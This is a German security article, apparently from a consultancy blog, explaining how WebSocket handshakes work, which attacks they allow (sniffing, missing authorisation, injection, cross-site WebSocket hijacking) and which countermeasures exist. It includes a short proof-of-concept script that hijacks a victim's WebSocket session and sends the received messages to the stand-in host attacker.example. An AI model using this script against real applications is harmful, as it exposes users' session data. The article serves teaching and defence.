Area41 2024 - Ein Rückblick
Michael Schneider
So gehen Sie sicher mit WebSockets um
WebSockets sind weit verbreitet und werden unter anderem dort eingesetzt, wo eine geringe Latenz oder vom Server initiierte Nachrichten erforderlich sind, beispielsweise im Falle eines Chats oder Echtzeit-Nachrichtenfeeds wie die Übermittlung von Finanzdaten. Es existiert keine Einschränkung welche Daten in welcher Form in Nachrichten über WebSockets übermittelt werden. Im Bereich von Webanwendungen wird oft JSON als Datenformat genutzt. Das WebSocket-Protokoll unterschützt unverschlüsselte Verbindungen (ws://) sowie verschlüsselte Kommunikation über TLS (wss://).
Da WebSockets eine alternative Form der Kommunikation zu HTTP darstellt, aber ansonsten ähnliche Funktionalität aufweist, ist das Protokoll auch von bekannten HTTP-Schwachstellen betroffen. In diesem Artikel beschreiben wir, wie eine WebSocket-Verbindung aufgebaut wird, welches typische Angriffstechniken sind und welche Sicherheitsmassnahmen existieren.
Um eine WebSocket-Kommunikation aufzubauen, führen Client und der WebSocket-Server einen Handshake durch. Der Beispielcode baut eine WebSocket-Verbindung auf, und sendet danach eine Nachricht mit dem Inhalt ping
an den Server.
<script> var websocket = new WebSocket('wss://server.example.org'); websocket.onopen = sendping(); function sendping() { websocket.send('ping'); } </script>
Der Browser sendet dabei automatisch einen Handshake als HTTP-Request, um die WebSocket-Verbindung zu initiieren.
GET /chat HTTP/1.1 Host: server.example.org Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: VGhlQW5zd2VyaXM0Mi4K Origin: http://example.org Sec-WebSocket-Version: 13
Dabei handelt es sich um eine einfache Form der Anfrage, die ohne Authentisierung durchgeführt wird. Wenn der Server die Anfrage akzeptiert, sendet er die folgende Antwort, um den Handshake erfolgreich abzuschliessen.
HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: y/+ilX15b3jDgSQlfeKszFt8ntI=
Der Header Sec-WebSocket-Key
in der Client-Anfrage enthält einen Base64-kodierten Wert, der für jede Anfrage zufällig generiert werden sollte. Der Response-Header Sec-WebSocket-Accept
enthält einen nach Vorgabe des WebSocket-Protokolls erstellten Hash des übermittelten Werts des Headers Sec-WebSocket-Key
. Bei diesen Headern handelt es sich um keine Sicherheitsfunktion. Diese Header wurden eingeführt, um zu vermeiden, dass Server nicht Verbindungen von Clients annehmen müssen, die keine Unterstützung für WebSockets haben und trotzdem Requests an den WebSocket-Server senden. Dabei kann es sich unter anderem um falsch konfigurierte Caching-Proxy-Server handeln.
Nun wurde der WebSocket-Kanal geöffnet. Wie die Kommunikation und die Verarbeitung der Nachrichten aussieht, liegt in der Verantwortung der Applikation, da das WebSocket-Protokoll keine Vorgaben an die Form der Nachrichten vorgibt.
Im OWASP Web Security Testing Guide werden Tests zu WebSockets unter der ID WSTG-CLNT-10 dokumentiert. In diesem Kapitel stellen wir einige Angriffstechniken vor, die einerseits WebSockets betreffen und andererseits auch mit WebSockets möglich sind.
Wenn eine WebSocket-Kommunikation nicht über das Protokoll WebSockets over TLS (wss://) aufgebaut wird, ist es möglich die Kommunikation auf Netzwerkebene mitzulesen und zu manipulieren. Angreifer müssen sich dabei in einer privilegierten Position im Netzwerk befinden.
Es ist keine Form der Authentisierung und Autorisierung für WebSockets vorgegeben. Wenn für den Aufbau des WebSockets keine Authentisierung notwendig ist, können Angreifer eigene Verbindungen aufbauen und gegebenenfalls auf Daten zugreifen, die über HTTP nur authentisiert zugänglich ist. Wenn innerhalb einer WebSocket-Verbindung auch keine Zugriffsrechte überprüft werden, können Angreifer unberechtigter Weise an Daten durch das Senden von WebSocket-Nachrichten gelangen.
Nachrichten, die über WebSockets gesendet werden, können zum Einschleusen von Code missbraucht werden. Je nachdem wie Nachrichten in der Applikation verarbeitet werden, ist es auch über WebSockets möglich Angriffe wie unter anderem SQL-Injection oder XML-basierte Attacken durchzuführen. Auch client-seitige Angriffe wie Cross Site Scripting (XSS) sind möglich, wenn der Inhalt von Nachrichten unzureichend geprüft und ohne Kodierung in die Webanwendung eingebettet wird. Wenn ein Angreifer Kontrolle über die WebSocket-Verbindung gelangt, kann dieser Nachrichten vom Client zum Server und umgekehrt manipulieren und so vorhandene Schwachstellen zur Ausführung von Schadcode missbrauchen.
Der Angriff Cross-Site WebSocket Hijacking (CSWSH) nutzt eine Cross-Site-Request-Forgery-Schwachstelle (CSRF) beim WebSocket-Handshake aus. Angreifer können unter ihrer eigenen Domain eine Verbindung zur verwundbaren Applikation aufbauen. Wenn Benutzer die Seite der Angreifer öffnen, wird ein WebSocket im Kontext der Rechte des Benutzers aufgebaut. Angreifer können dann über die WebSocket-Verbindung mit der Applikation kommunizieren und erhalten zusätzlich auch Zugriff auf die Antworten des Servers. Dies ist bei einem CSRF-Angriff ansonsten nicht üblich.
Eine CSWSH-Attacke ermöglicht es Angreifern im Namen des Benutzers Nachrichten zu senden und empfangen. Je nach Anwendungszweck reicht auch der Aufbau eines WebSocket-Kanals aus, um ohne weitere Interaktion Nachrichten zu empfangen und auszuwerten. Das folgende Proof-of-Concept-Skript für eine CSWSH-Attacke beinhaltet JavaScript-Code für das Öffnen eines WebSockets und zur Extrahierung von erhaltenen Nachrichten. Das Skript wird im Origin des Angreifers ausgeführt.
<script> // create a websocket connection to the target application var websocket = new WebSocket('wss://target.example'); // wait for a message and exfiltrate the data websocket.onmessage = function(event) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'attacker.example', true); xhr.send(event.data); } </script>
Wenn Benutzer auf die präparierte Seite des Angreifers zugreifen, führt der Webbrowser den WebSocket-Handshake durch und sendet dabei auch die Cookies analog zu einer CSRF-Attacke mit. Falls für das Öffnen eines WebSockets eine Authentisierung nur auf Basis eines Session Token Cookie notwendig ist, wird diese mit diesem Beispiel umgangen.
Bei der Verwendung von WebSockets sollten die folgenden Schutzmassnahmen beachtet werden.
Bei der Verwendung von WebSockets gilt dasselbe Prinzip wie bei klassischen Webanwendungen, dass eingehenden Daten nicht vertraut werden soll, und diese entsprechend überprüft werden müssen. Dies gilt für Header beim Handshake wie auch für die übermittelten Nachrichten in beide Richtungen. Damit Cross-Site-WebSocket-Hijacking-Angriffe verhindert werden können, sollte eine Prüfung des Origin-Headers durchgeführt und eine Form von CSRF-Token eingeführt werden.
Im Unterschied zu HTTP bleibt beim WebSocket-Protokoll die Verbindung erhalten und ermöglicht so eine asynchrone Übertragung von Nachrichten in beide Richtungen. Bei der Verwendung von WebSockets treten ähnliche Schwachstellen wie in HTTP auf. Wenn keine verschlüsselte Verbindung aufgebaut oder die Authentisierung nicht vollständig durchgesetzt wird, ist unbefugter Zugriff auf übermittelte Daten möglich. Wenn bei der Verarbeitung des Inhalts von Nachrichten keine Prüfung erfolgt, führt dies zur Ausführung von Schadcode. Zudem besteht die Möglichkeit für Cross-Origin-Angriffe während der Initialisierung einer WebSocket-Verbindung. Für alle beschriebenen Angriffe existieren jedoch passende Schutzmassnahmen, sodass WebSockets auch sicher betrieben werden können.
Unsere Spezialisten kontaktieren Sie gern!
Michael Schneider
Michael Schneider
Michael Schneider
Michael Schneider
Unsere Spezialisten kontaktieren Sie gern!